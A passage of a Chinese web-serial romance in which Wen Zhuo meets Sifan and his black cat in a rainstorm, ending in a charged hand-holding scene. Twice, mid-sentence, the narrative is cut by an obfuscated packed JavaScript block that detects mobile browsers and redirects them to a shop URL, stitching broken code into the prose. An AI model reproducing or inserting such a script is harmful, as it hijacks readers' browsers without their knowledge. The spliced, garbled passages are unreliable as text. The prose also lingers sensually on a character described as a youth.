不吵,平添意趣而已。 雨迹仍在蜿蜒。 茶色玻璃窗像一面忠诚的镜子,片刻后,曲折地反射出两行鲜红的系统提示。 [。]:[你向“起司梵”转账100,000元。](未读) [警告!您的消息已成功发送,但对方拒绝接收!] [。]:对不起。去买点甜品消消气,好吗。(未读) [警告!您已被对方拉黑!请重新加为好友后再开始谈话。] 钢琴曲进行到一个偏向激昂的小节,错落的音符有意无意,敲击闻濯躁动不已的心。 算了。闻濯想。 他揉揉眉头,眼不见心不烦,点开[起司梵]的黑猫头像看了两秒,息屏。 茶色玻璃暗下。雨幕里闪耀的霓虹广告又唱又跳,再次占据视觉中心。 身形高大的青年起身,戴上黑色口罩,拾过约莫五厘米厚的旧诗集,往书咖一楼而去。 这间平日冷冷清清的店铺此时门庭若市,也许是因为突然暴雨的缘故,每个可以坐人的空位都有人。 闻濯才刚刚离开,他的座位立马便被一个在左右巡视已久的人迅速占下。 “服务员……服务员!把他的餐具收一下,谢谢。”那个人压低嗓音开始点单,“嗯,我要一杯和他一样的咖啡……啊?是卡布奇诺?那还是算了,我可不喝这么腻歪的甜牛奶……真男人就应该喝无糖美式!……” 七零八落的声音逐渐淡去,闻濯没有在意无关的讨论和言语。 他走至一楼门口,结账后,从置物架抽出自己的长伞。 玄关的隔音没有二层好,雨声变得嘈杂,无规律的水珠自云端深处降落,缠成连绵的雨幕,在人类面前拉开属于自然的画卷。 闻濯侧过首,望向门外的滂沱大雨。 雨很大,天气预报的黄色预警并未估算错误,而且照这架势估计一时半会停不下来。 还有人不断推开书咖的门入内,他们身上或多或少,都有些湿润。 那是雨的痕迹。 闻濯微微侧过身,为急忙入内避雨的书咖新顾客让出一条路。 有人小声地朝他道谢,他手执长伞,点点头,没有多说什么。 “谢谢你,但你着急出去吗?现在雨真的很大,要不你先避一避吧?”一位路人劝闻濯先别出书咖,“虽然说这样急的暴雨不会下很久,应该再过一小时就会停,但横风横雨,总是不安全的。” 他说话的这段时间里,书咖的人流已经挤满二楼,现下连宽敞的玄关都要站不住脚了。 点单的服务员四下走位,口里一直唤着“让一让,麻烦大家让一让,那位女士的单还没点”“您要看的书在二层,现在人多上不去,要不先凑合看看手边这本诗集?是绝版的大师名作”“抱歉!今日的甜点和蛋糕已经售罄,本店准备不周,实在抱歉!”的话语。 闻濯对提醒他的人笑笑,薄唇勾起微不可见的弧度,宛若冰消雪融,俊美无俦的颜色转瞬即逝。 “多谢。” 他转身推门,就此走进模糊世界的滂沱雨幕。 哗—— 闻濯打开长伞。 深墨色的伞厚重沉稳,自有一种静谧的气息。 书咖外有遮风挡雨的小避雨廊,可以给路过的行人歇脚,躲避风雨,但在这铺天盖地的暴雨中,这小小的廊道也只是聊胜于无罢了。 闻濯本以为街上空无一人,不料才走出几步,就听见一道窸窸窣窣的念叨声。 “说起来,你可真是机灵啊?我这猫条呢,本来打算给别的小猫,结果现在你识时务,斩钉截铁抛弃那个坏东西,哎呀,这不赶巧了吗?” “浪子回头,便宜你啦!” 28.被雨水沾湿的短裤 游司梵就蹲在避雨廊下,背对闻濯,喃喃低语。 许是雨声太嘈杂,他没有觉察到身后有来人,动作和言语纹丝未改。 在闻濯的视野里,黑色中长发的少年身形清瘦,束着低马尾,整个人缩成一小团,宛若一朵孤零零的蘑菇,不具备鲜艳的色泽和毒性,只是安静地蹲于略高的石墩上,在暴雨淋漓中低声说些外人听不懂的话语。 “只吃一条猫条不满意?……不行,太胖不健康……唉唉唉?你不许生气!……” 哗啦啦—— 雨滴很大,密集地落于柏油路面,还未汇入溪流般奔涌的临时水泊,便又溅上少年宽大的棉质裤腿。 哪怕是蹲在离地面略有距离的石墩,游司梵仍然无法逃避衣衫被淋湿的命运。 他铅灰色的短裤已经湿了。 那是一条运动款式的短裤,裤沿刚巧盖过膝盖骨往上些许,原本的铅灰变作深色,如同渐变的云霞,半露不露,将少年的大腿末端和小腿衬得越发白嫩,完整呈入闻濯眼帘。 像是有些累的模样,少年侧侧身子,因为互相挤压而嘟出的腿肉一颤,泛上极为暧昧的潮红。 他浑身上下都偏瘦,唯有臀腿饱满圆润,可能是平日习惯伏案久坐的缘故,那些不多的脂肪尽数堆积于此,犹如一捧松软的棉花。 铺天盖地的雨隔绝外界窥探的视线,游司梵无知无觉,在寂静又纷繁的雨声里,把自己曝露进一双深邃黑沉的眼瞳。 少年的小腿白皙而修长,骨架不大,不似寻常男子那样粗犷,比起肉感更足的大腿,他的小腿很轻盈,跟腱微微凸起,略显陈旧却干净非常的白布鞋包裹脚掌,棉袜便堆叠于踝关节周围。 一眼望去,很容易联想起一些关于草原和山峦的意向。 他这样的人,合该在广袤无垠的原野中肆意奔跑。 自由的,灿烂且热烈的。 而不是孤独地蹲在避雨廊下,任由雨水沾湿自己的衣衫。 会感冒吧。 闻濯指尖一紧,被握紧的木柄轻轻一动,长伞随之滚落几滴微不可见的雨珠。 他眸色暗沉几分,晦暗不明,辩不出是喜是怒,往游司梵走去。 嗒,嗒。 不甚清亮的脚步声,踏响书咖的避雨廊。 廊道铺设的是木地板,日晒雨淋,木头变脆,稍有动静就极其明显,像咬碎一口刚出炉的薄饼,不算轻的声音乍然响于游司梵耳畔。 他抚摸黑猫头顶的手一顿。 饲养员贴心细致的服务骤然消失,黑猫耳尖弹动,微微昂起脑袋:“咪。” 它深蓝的瞳孔注视游司梵,叫声很小,几乎淹没于雨中。 “那个……你要躲雨吗?”游司梵没有回头,用指尖安抚地挠挠黑猫下巴,走流程似的开始把人劝返,“你进书咖吧,外面雨太大了,里面还有热茶点心可以买,犯不着在这淋雨……” 少年音色清亮,雨声夹杂在他咬字的尾端,如同一曲共奏的琴曲,叮叮咚咚地涌入闻濯的世界。 走近一看,游司梵更瘦了。 那件宽松的上衫笼罩他大半身躯,一路盖至尾椎,勾勒出脊柱微微凸起的曲线。 闻濯可以看见束起的发掠过少年的颈,宛若墨痕晕染宣纸,不存在的笔锋潇洒一挥,黑与白构成异常碰撞的对比,强势占据闻濯的视觉焦点。 脖颈。脊背。臀与腿。 垂在身侧的白色小挎包。随呼吸微微起伏的清瘦躯体。轻轻抚动的手臂和肩头。 这个被暴雨淋湿的少年,好像在怀抱一个活物。 并且用自己的身躯护着对方,不让其遭受雨水的洗礼。 闻濯抬起微垂的长睫,波澜不惊的眼神带上审视,若有所思地看向游司梵半圈起的臂膀。 黑猫爪子蹬了蹬,肉垫搭上游司梵锁骨,似乎想从饲养员的保护中离开。 “喵。”它叫道。 游司梵不明所以,只当是自己抱太紧,黑猫大小姐待久了腻味,嫌不舒服。 “怎么了,这不是没真要你减重吗?还在生气啊?”他调整姿势,把猫条往猫嘴巴边上凑,讨好地挤出更多肉酱,“好吧好吧,多吃点,之后不许和我闹脾气了哦!” 黑猫看游司梵一眼,没有再叫唤,但也没有舔舐猫条。 它四肢暗暗蓄力,耳朵背往下压,仿佛想在下个瞬间一跃而起。 “不想吃?可是我没有带别的罐头……”游司梵浑然不觉,哄黑猫的间隙隐约发现身后那人似乎还没走,心下泛起疑惑,只好分神又去劝,“那个,你不打算进书咖避雨?还是有急事……” 雨声淹没他的言语。 连绵不断的暴雨中,游司梵恍然捕捉到一丝低笑响起,恰好续上他踌躇的尾音。 像绝妙至极的和弦,仅仅是单个音符而已。 共振,低鸣,一瞬即逝。 游司梵还未反应过来,想回首望向来人,黑猫却比他更快,后腿一蹬前肢一撑,如液体一般从怀抱流走,整具圆滚滚的身躯顿时跃上游司梵肩头。 “喵呜——!” 它叫声超大,深蓝的瞳孔眨也不眨,看着几步之外的青年。 是很严肃的煤气罐罐。 闻濯眉眼微不可见地一弯,渐深的笑意化去眸底的隔阂与凌厉,冰消雪融,余下神情却尽数隐藏于黑色口罩里。 游司梵慢半拍,侧脸才转过来:“暴雨赶路不安全,你……不是!……怎么是你!” 极度惊诧的语气,跟见鬼似的,最后一个“你”字劈叉一样蹦起来。 好像破音了。闻濯没由来地想。 猫脑袋在下,游司梵在上,两张脸一大一小,同时盯着突然出现的闻濯。 一个淡定,一个瞳孔震颤。 少年有着和猫相似的眼眸,弧度如出一辙的溜圆,向上的眼角,以及不可置信的神情。 “你,你是昨天偷猫的人!” 游司梵失声喊道。 猫也跟随饲养员叫唤,如同助威:“咪!” 游司梵眼眶是圆润的杏核型,那道流畅的线在眼角勾起,本应狡黠而灵动,此刻却只剩惊异和回过神的愤怒。 他下半张脸包裹在口罩里看不清楚,但眼神直白又坦诚,闻濯看着那些初时的诧异如潮水般褪去,怒火一点一点燃起,逐渐点亮璀璨的墨色眸心。 游司梵真的生气了。 这人怎么还敢,还敢凑过来!原来不愿意进书咖躲雨,是打着歪心思的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138419|130940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主意! 好不要脸! “你想干嘛,又要拐跑我、的、小、猫?”他特意重重咬字,彰显自己的合法性地位,手掌则警惕地搂紧猫屁屁,半强硬地怀抱黑猫,不让它有分毫逃离的可能,“它是我养大的!不会跟你走!” 游司梵张牙舞爪地威胁,攻击性十足,亮出锋利的爪子,但闻濯岿然不动。 面前的男人身形高大,站在三步开外,距离不远不近,刚好是一个具有存在感和压迫感,但并不会为游司梵造成过大压力的距离。 对方似乎对把握这些社交细节很熟悉,若即若离。 但这样的距离,也已经足够近了。 男人清雅的冷香融入雨汽,低幽而缠绵,拒人千里的清贵气息仿佛代替他的肢体,强势笼罩游司梵的五感。 他身高起码1米85往上,高大而宽广的躯体像一座小山,沉默地撑着伞伫立在游司梵面前。 背景是倾盆大雨,那张同样戴着黑色口罩的脸线条锋利而俊朗,富有力量感的指关节叩握木柄,好似扣住某些不可言说的轨迹。 游司梵从来没觉得自己这么矮过。 明明他蹲在石墩上,离地面还高出一些,此时此刻却生生低了人家许多。 他的身高并不算高,但在X城也算够用,丢到茫茫人海会泯然众人,有时甚至略高些许。 可是如今一看,他也许才到男人胸口上下的位置。 ……没事长那么高干嘛! 为了眼疾手快,方便偷猫吗! 游司梵深吸一口气,正当要继续指责时,那股无色无形的冷香却猝不及防,刹那充斥他的口鼻。 “……”游司梵再次深呼吸,色厉内荏,努力忽视那些扰乱心弦的冷香,“你不说话,不反驳,是因为我说出事实,心虚了?” 闻濯不言不语。 虽然他面戴口罩,眼眸也是冷心冷情的模样,看上去疏离又晦暗,但游司梵莫名觉得他唇角一定含着笑意。 就连那双极有距离感的瞳孔,也是笑着的。 他根本没有被游司梵挑衅的话语激怒,游刃有余。 心虚的对象调转,仿佛在一瞬之间,变成原本占据道德高地的游司梵。 游司梵越发生气,瞳仁如同淬水后的黑曜石,倏然碰出蓬勃蒸腾的斗志。 “你根本不知道小咪爱吃什么猫粮,什么罐头,她是我奶大的小猫,你没办法照顾好她!”他振振有词,完全没发现话语的漏洞,“她不喝羊奶,不吃掺水的罐罐,喜欢吃咕噜酱和猫条,每个月至少要开一包小鱼干加餐,这些细节你根本不懂也不知道!” “喵嗷。” 闻濯还未出声,黑猫倒是叫唤起来。 游司梵力道太大,它不高兴,用前爪推开自己与人类的距离,不料直接触到饲养员岌岌可危的底线和神经。 游司梵脑内响起高度警惕的雷达,疑心闻濯又使用什么不知名魅惑术勾引黑猫,连忙一把抱紧猫毛茸茸的躯干。 “小咪,那是坏人,不许亲近他!”他单手作势把猫条折起,准备收回小挎包,虚张声势,“你要是再朝他喵喵叫,一个不小心惹到他,又把你拐走,我包里的其他小零食,可要送给别的乖乖小猫吃了!” 29.掌心若即若离的 游司梵生起气来,不仅指桑骂槐,扫射闻濯,更是连猫也一起骂了。 当然,他没舍得直接骂黑猫,只是在边边角角略带一下。 从暗暗讽刺不问自取的可恶,“她最喜欢我,你不要做梦妄想能拐走她!”,骂到“小咪为什么不肯吃猫条?是不是你昨天给她喂了乱七八糟的零食,我给的饭不可能不好吃”,再到“肯定是你站在这里,才影响她吃饭的胃口”。 “没见过脸皮这么厚的人!” 最后,游司梵斩钉截铁地总结道。 气鼓鼓的少年蹲在石块上,像一只喵呜乱叫的愤怒野猫,两颊因为情绪激动,泛起浓艳而暧昧的嫣红。 然而在黑色口罩边缘,艳若桃李的颜色戛然而止。 绚烂纷繁的油画遭到遮挡,最姝丽的风景无人可见。 口罩如同凭空存在的消除笔,只将游司梵上半张面庞曝露于世间。 但能目视上半阙,已然足矣。 “是吗。”闻濯眼眸的笑意逐渐加深,“精力这么好,看来昨天的毯子很合你心意。” 游司梵唇枪舌战形成惯性,问话脱口而出:“什么昨天?” 毯子? 一张绣有猫咪的细绒毛毯在记忆倏忽闪过,画面的末尾,是昨夜和司子天博弈谈判的过程。 他心烦意乱,在司子天喋喋不休的催促下将毛毯叠好,随手塞入被里。 他不想让司子天的污言秽语玷污毯子,没成想自己却也忘了。 那由闻濯好心好意递来的猫咪毛毯,游司梵临行前最后一次见它,似乎是在那堆半夜一齐被他踹下床的衣物堆里。 乱七八糟,惨不忍睹。 和那件身首异处的小猫衬衫患难与共。 游司梵:“……” 游司梵幡然醒悟,力挽狂澜,但已经无法拽回闻濯势必道出的话语:“等等等等我想起来……” “……昨天,你抱着毯子在茶室睡觉,很舒适吧?”闻濯语气平平淡淡,好像在谈论天气一般自然,“我们走的时候,见你睡得沉,就没喊醒你。” ——会心一击。 “那个找你麻烦的男人太聒噪,我担心他打扰你休息,也让他尽早离开。” ——双重绝杀。 “真的很抱歉,希望你的工作不会因为这次无妄之灾而遭受影响,走之前我和经理有沟通相关事项,但如果康乐大酒楼仍然决议辞退你,我可以介绍……” ——游司梵彻底听不下去,羞耻心爆棚,闭上眼帘,视死如归般吼出一堆辩解。 “我没事我很好无妄之灾让它过去就过去吧康乐大酒楼我看不上它现在已经找到新东家准备上班!不用担心我找不到工作!我过的很好!真的!” 他口不择言,开始紧急翻找小挎包,甚至愿意暂时放松对黑猫玩笑似的禁锢。 身躯骤然失去饲养员温暖的抚摸,黑猫有些奇怪,湛蓝色的眼睛一转,静静看向少年慌乱匆忙的动作。 “喵。” 它舔了舔肉垫,利爪安分又乖巧,好好收在毛绒绒里。 从来没有人可以在黑猫真正百般不愿的情况下,强行逼它待自己怀里,哪怕是游司梵也不能。 猫的利爪并非摆设。 “我新工作可好了,比康乐大酒楼好一万倍,薪资待遇同事老板都很好,所以你尽管宽心!”游司梵摸了半天,终于自包里翻出除去钥匙和口罩之外的第三样东西,“至于毯子,毯子,它……” 他将那样物件如同众星捧月般拿出来,仿佛它可以成为拯救他于水火之中的神明。 “是我租的!毯子我已经洗干净了!这是租金,我回去就还你!” 游司梵掌心平摊,那长条状的物件在雨幕下现出真面目。 黑猫和闻濯齐齐望向它。 奶茶色包装,仿若速溶咖啡的外观设计,夸张的Q版字体宣传语。 “猫的挚爱(放大字号的重点感叹号)让猫咪欲罢不能的绝世猫条(极其荡漾的两个波浪号)” 这赫然是一条猫条。 货真价实,童叟无欺。 闻濯真切地笑了,即使他面戴口罩,黑色口罩覆盖他依旧凌厉的下半张面容,即使游司梵只能看见他的眉眼。 但游司梵发誓他身前这个男人绝对在笑。 无声地开怀大笑,表情压根没有掩饰。 游司梵浑身僵硬,五指并拢,想将闹出大笑话的猫条收回。 这是一趟极度艰辛的历程。 暴雨封住退路,避雨廊外便是铺天盖地的雨幕,雨声密集得令人头皮发麻,游司梵无法一走了之。 石墩似乎成为他的处刑台,他立足于方寸之地,进退不得,一切的视线和灯光集中在此。 而闻濯和黑猫,就此成为闹剧的唯二观众。 黑猫一向不内耗,想干就干,见猫条被游司梵收回身前,当即探出爪子碰碰这还没开封的零食。 “喵。” 叫声千回百转,充满对加餐的急切和期盼。 已经开启的猫条它不屑一顾,游司梵凑至它齿边都不想舔,倒是对一模一样的未开启猫条兴致盎然。 闻濯又在笑。 “嗯……你要收回‘租金’?”他往前一步,执伞的手稍稍倾斜,朝少年伸出另一侧干燥而温暖的手掌,言语带着笑意,“是打算毁约,言而无信吗?” 他故意往重了说,果然换来游司梵惊慌失措的注视。 少年就似山间迷路的旅人,讶然望向面前这位突然出现,却语出惊人的好心人。 那只向他探来的手修长好看,指关节并不粗大,指腹略有薄茧,不多,正正好,游司梵可以很清晰地看见闻濯红润的掌肉与纹路。 这并非不事炊爨的手掌,它存在做事和工作的痕迹,指背和拳峰甚至有些许不常见的茧子,不知是如何形成,长年累月地积攒于相对单薄的指背皮肤。 不会有人怀疑其深藏其间的力量感。 但这同时也是干净且体面的手,在漫天大雨的水汽里,也能一如既往,保持该有的洁净与干燥。 让游司梵……很想握上去。 他看看闻濯,看看那双手,又看看衬托对比下,自己格外上不得台面的猫条。 出门太匆忙,自昨夜起一切就兵荒马乱,游司梵是随便抓来先前买好的猫条,又随便塞进小挎包。 这样做的结果,便是猫条皱皱巴巴,塑料外包装仿佛刚从滚筒洗衣机出来,折痕七零八落,像老咸菜,也像久经摧残的废品。 也就只有不通世事的黑猫,才不会嫌弃它的埋汰。 它远远配不上闻濯,即使所谓租金,仅仅是搪塞的借口和玩笑。 “不是言而无信,”游司梵声音低下去,默默继续收回的动作,变相婉拒闻濯的索取,“是我拿错了。” 他临阵退缩,闻濯却也不生气,只是挑起眉梢,伸出的掌心并未改变。 “好。”青年如此道。 黑猫大小姐矜持高贵,没有搭理人类的暗潮涌动,见饲养员铁石心肠,把猫条放好,它也不介意,浅尝一口冷落已久的猫条壹号,就开始今日份洗脸梳毛。 游司梵慢慢吞吞,在小挎包零星几样琐碎物件中来回搜寻。 好像一条不想面对现实,竭尽所能磨洋工的咸鱼。 闻濯并不催促。 青年眼瞳的笑意非但没有随时间流逝而退却,反倒越发深刻。 两人之间吵吵嚷嚷的氛围重新静下,一时唯有雨滴坠地的声响。 滴答—— 匀速的时光变化仿佛在此变慢,拉长,似乎已然过去很久,又似乎只是度过弹指间的刹那。 暴雨没有改变,天色依旧灰沉,云团佛像般层层垒起,街边老旧与新颖共存的霓虹广告灯永不疲倦地闪烁。 这方狭窄的避雨廊下,冷香和水汽彼此纠缠,充斥每一个允许它们存在的角落。 嗅着冷冽的气息,游司梵勉强忽略越来越快的心跳,低低垂着脑袋,视死如归,指尖颤抖着递出一张薄纸。 簇新的十元纸币。 它只有中间一道折痕,其他的边边角角很平整,足见主人的爱惜。 “租,租金。”游司梵都不敢看闻濯的神情,自顾自地垂头,话语里的理直气壮烟消云散,“如果你想线上转账,也可以……” 他已经打好腹稿,如果被闻濯拒绝要怎么办。 毯子没有洗好,而是仍然待在地板上,这点他不诚实,撒谎骗人,是他有错在先。 闻濯如果愿意的话,他认认真真清理干净还回去,不再打扰;如果不愿意,选择赔偿,他也能用密室NPC的工资分期偿还,希望闻濯不要逼太紧,愿意宽松些时日。 至于婶婶那边催促的水电费,他… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139619|130940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …他大不了…… 大不了如何,游司梵还没想好。 就在他脑海纠结成麻花时,那双他很想握上的手探过来,轻轻抽去那张玩笑一般的纸币。 轰—— 不存在于现实的虚幻中,好不容易建立的楼房和自信尽数坍塌。 游司梵脊柱发麻,难以言喻的酥痒瞬间窜遍每一根神经末梢,纸币被抽动的轨迹就是点燃烟火的引线,闻濯一步一步,亲自放出一头蚕食感官的怪物。 怪物在吞噬游司梵的触感,原来一张厚度不到毫米的纸币,会重若千钧。 雨水。风。涌动的气息与摩擦。 飞鸟被淋湿的绒羽。虫豸躲避暴雨的跃动。树叶不堪重负的垂落与弹起。 好似全世界的触感,在一瞬之间,全然纳入游司梵小小的掌心。 然而闻濯甚至没有直接触碰游司梵的肌肤。 他仅是捻住纸币的一端,自然而然地抽走而已。 那是游司梵心甘情愿奉上的物品。 是司二叔和司二婶在今年年节,充满敷衍意味的十元红包。 X城红包寻常是百元起步,千元更是常见,不存在包小数额讨吉利的风俗。 “不用转账。” 水磨般的煎熬仍未结束,纸币尚有末端停留于游司梵掌心外侧,将离未离。 谈不清到底是痛苦还是愉悦,游司梵竭力忍受闻濯给予他的酥麻,终于听见对方悠然开口。 “这样已经足够了。”青年音色琅琅,如玉石敲击清涧,比席卷天地的大雨更冷冽,悲悯一般彻底抽离纸币,“我接受这个交易。” 一阵裹挟雨汽的风拂过。 在夏风吻上掌心之前,那股困扰游司梵多时的痒意早已随纸币的离去而消散,刹那的特殊触感好似变作梦境,唯余过于癫狂的记忆与喘息。 但游司梵的心仍如擂鼓。 他咽下一口唾沫,仍然不敢抬首。 急速流动的血液在体内循环,鼓起,落下,属于闻濯的冷香从未远去,游司梵拥有小动物般警惕的直觉。 对,他一直在原处,接过纸币,承认租金,默认毛毯的去处,应诺交易。 可是然后呢? ——闻濯道:“我接受这个交易。” 所以,然后呢?然后该做什么?是就此结束,还是继续忏悔? 游司梵惴惴不安。 空落落的掌心就这么摊着,很傻,很难看,他难为情地蜷缩指尖,打算先撤回空无一物的手,再思考下一步计划。 但他没有成功。 在游司梵彻底失去勇气,退缩回蚌壳的前一刻,闻濯姗姗来迟,蓦然桎梏他无力柔软的手指。 “跑什么?”一声短促的笑快速隐没于雨中,比言语更炽热的,是闻濯指腹的温度,“还没吃上糖,就要不告而别吗?” 糖?这关糖什么事? 指尖尽数被一个才见过两面的青年拢起,游司梵胸腔唯剩快要冲破肋骨的心跳,眩晕的无声轰鸣里,他魂不守舍,手指和那片陌生的热源紧紧相贴。 那是蜜糖,甘之如饴,也是融化意志的砒霜。 “什,什么?” 游司梵迷迷糊糊,在男色冲击之下,艰难问出内心深处毫无方向的茫然。 大提琴似的低笑又一次响起,奏响游司梵心尖颤颤巍巍的和弦,他不可自抑地,无法控制地靠近那片近在咫尺的共振。 是飞蛾扑火吗?他不确定,他不知晓。 但一些零碎而确定的幸福再次奇迹般降临。 游司梵指尖被缓慢分开,那双外来的,不属于他本身的手,一丝一丝,逐渐纳入两指之间低下去的指缝。 就好像……某人在梦里为游司梵做的事情一样。 梦里那人,到底是Forward,还是面前素不相识的青年? 杂乱的碎片画面一闪而过,指缝随即传来酥麻至极的触感。 游司梵屏住呼吸。 “专心,不要走神。”闻濯淡淡扫他一眼,提示道。 闻濯的骨架远远比游司梵宽大,他力道又不容置喙,分开一掌毫无抵抗心的手指轻而易举,极轻松地,游司梵好不容易才决定收回的指尖,很快便在谈不上攻势的进攻里溃不成军。 一切似乎还未正式开始,但游司梵已经几乎要无法承受了。 “呜……” 30.凭什么啊 少年喉间泄出一声委屈的低唤,似哭非哭。 就像是青年当真不顾一切,在幕天席地下狂性大发,对他做出什么越过雷池的坏事。 但闻濯只是用手笼罩他的指尖而已。 此时此刻,算上昨日在康乐大酒楼的戏剧性相遇,游司梵不过是与闻濯第二次见面。 才第二次见面……闻濯就突破正常且疏离的社交范围,近乎强迫般桎梏游司梵的手。。 没有亵渎的玩弄,却无比亲昵,与暧昧仅仅一线之隔,善意和欲念的界限模糊不清。 暴雨阻隔一切纷繁的视线,灰暗的色调里,街道沉浸于连绵不断的水流,建筑轮廓朦朦胧胧。 避雨廊有翘起的檐角,雨滴从分散化作汇集,珠帘一般并排坠下,在空旷的天地间独独辟出一处隐秘的幽静。 滴答,滴答…… 水滴降落之时,少年与青年十指紧紧交缠。 游司梵觉得指尖肌肤仿佛被闻濯赋予别样的含义,他一天24小时,接触诸多事物,都不会因为触感而崩溃。 他的手历尽千帆,是最不敏感的肌肤,它惯于触碰与被触碰,熟悉寻常的材质和行为。 但源自于闻濯的热烈和柔软,完全超出游司梵贫瘠的想象。 仅仅是最为简单的动作,闻濯便能勾起游司梵酥麻至尾椎的战栗。 然而他没有退路,无处可逃。 “很难受?”他们靠的很近,闻濯的吐字仿佛直接在耳畔响起,唇齿间灼热的气息沾上雨的冷冽,是试探,也是诱惑,“为什么要哭。” 闻濯言语彬彬有礼,不疾不徐地关切,张弛有度,手上动作却迥异,缓慢而坚定地挤入少年脆弱柔软的指缝。 让游司梵再也不能逃避,蜷缩掌心。 “不是……我只是……”游司梵声线是颤抖的,“很,很痒……” 握手是礼节性的沟通动作,但显而易见,闻濯对游司梵所做的,并不属于浅尝辄止的表面礼貌。 青年恒定的温度传来,指腹的茧子摩挲游司梵细嫩的指背,像对待一块需要雕琢的玉,触感粗砺又柔和,不可言说的酥痒再次铺遍游司梵手掌每一处神经末梢。 掌纹。微微湿润的汗意。不经意掠过的指骨与甲面。 在这个瞬间,他们彼此交换自己的体温。 如同在遗忘的时间里,做过几万次般熟稔。 然而一切逾越,也仅限于此。 闻濯的身躯始终在几步之外,只有一只越过社交界线的手,带着晦暗难言的冲动,攥握游司梵懵懂直白的破绽。 他为闻濯奉上纸币,却忘记提防可能存在的觊觎。 上一次与人如此亲近,双手交握,还是游兰尚在人世之时。 “司梵,你现在怎么这么别扭啦?不愿意让妈妈亲亲小脸,也不愿意和妈妈拉手,”记忆中的女人故意板起脸,一本正经,但谁都能看出来,她根本没有生气,“是长大了,有自己的考量吗?之前你8岁,和小濯手拉手做好朋友的时候,怎么就不害羞呢?” 是啊,为什么呢? 为什么他不抗拒眼前这个陌生人的逾矩,没有害怕,没有惊惶,唯有酥麻和羞涩? 哪怕他不知晓陌生人的名姓与来历,哪怕对方身形比他高出一大截,简简单单就能用体格压制瘦弱单薄的他。 猎人毫不掩饰他的危险,紧贴他的指尖,游司梵却似莽撞懵懂的猎物,甘愿撞入陷阱。 被触碰的指尖变作游司梵的动脉,自投罗网般贴上闻濯充满威胁的桎梏。 战栗又缠绵。 雨声繁杂,噼里啪啦的动静好似游司梵纷乱异常的心脏。 他不顾直觉疯狂尖叫的警示,肾上腺素飙升,无可救药地,选择信任眼前这位冷淡却炽热,紧紧禁锢他掌心的男人。 闻濯没有放松过对他的力道。 “好痒……” 游司梵道出一句自己也说不清是抱怨还是撒娇的嘟囔。 他看着被雨水溅成深棕色的木地板,耳尖通红。 “可是你一直不抬头,真的只是因为痒,而不是害怕我?”闻濯又上前一步,深色的皮面鞋尖进入游司梵视线,如他的人一般,强势而充满压迫感,“如果你很害怕,抱歉。” 游司梵的手被抬起,一股轻柔而渐进的力道牵引他的动作。 他们好似宴会里共舞华尔兹的伴侣,十指相扣,于连绵雨声中摆出起舞的前奏姿势。 无声的指引与安排下,游司梵在逐渐接近闻濯。 无色无形的冷香先主人一步,抚慰有些慌张的少年。 游司梵不明所以,但还是像鹌鹑一样不敢抬头:“怎么了……” 回答他的是一声轻笑。 游司梵只感觉到略显僵硬的指尖被轻轻分开,沁出细密热汗的掌心不过接触雨汽短短一瞬,很快又被一颗无甚重量的物体夺去触觉。 那像是一颗糖果。 “这是我的赔罪和歉礼。” 闻濯的嗓音低沉悦耳,像唱诵一首遥远的古老诗歌,在某个不经意的刹那,游司梵甚至觉得自己在哪里听过他的言语。 内容相差不远,同样是在道歉。 然而游司梵没有机会深思,闻濯笼罩他的指尖,已经开始带领他攥紧这颗圆润的糖。 塑料外包装,质感很普通,是经常看见和触碰的材质。 它两侧边缘有细密的锯齿,像草丛隐藏的小刺,不是荆棘,没有很明显的恶意,只是在逗弄人类一般,微微划过游司梵敏感至极的掌肉。 那些平日为了方便撕开而设计的锯齿,如今骤然成为引爆炸弹的导火索。 游司梵脑海内“轰——”的一声,炸开一片绚烂纷繁的烟花。 闻濯并未对他施加的刺激,此刻尽数现于糖果包装之上。 糖仿若成为闻濯意志的延伸,与其内外夹击,双管齐下。 但游司梵刚才无处可避,现在亦是如此。 青年干燥温热的大掌笼罩他的手背,犹如巨龙圈起最最珍视的宝藏,一寸一寸,逐渐收束,半强迫般引领他握紧那颗令人癫狂的糖。 坚硬又柔软的锯齿。刺痛细密难耐。比自己体温更高,带有薄茧的宽大手掌。 游司梵隔着外包装,感受到糖体的形状与体积。 圆形。中心处微微陷下去。直径约莫一厘米,不大也不小。 它隐蔽于游司梵与闻濯的交握之中,像一粒被藏在手心的宝石。 闻濯亲自赠予他的。 听着塑料外膜清脆而响亮的折叠声,游司梵莫名兴奋起来。 血液流速从未变慢,一直于体内高速运转,过于频繁的循环大大加深他对外界的感触。 闻濯的力道在变化。 很微弱,但游司梵敏锐地捕捉蛛丝马迹。 青年把控游司梵的动作,而现在,他的重心更改,移至游司梵指骨外侧。 撕喇——! 仿若应召呼唤一般,糖纸被撕开的一霎,游司梵心弦颤动,昂起低下太久的头颅,蓦然对上闻濯含笑的墨色眼瞳。 “好了。”他一手执伞,一手笼罩游司梵的指尖,把撕好的糖递至少年微张的唇齿前,“吃吧。” 游司梵愣愣地点头,重新低下面庞,拉下口罩,探出一丁点舌尖,本能般依言而动,乖巧卷走那粒翠绿的薄荷糖。 红艳艳的舌湿润又柔软,却不慎蹭过闻濯弓起的拳峰,恰好碰上那些经年累月的茧。 一瞬即逝。 闻濯喉结滚动,眼神刹那幽暗,松开握住游司梵的手。 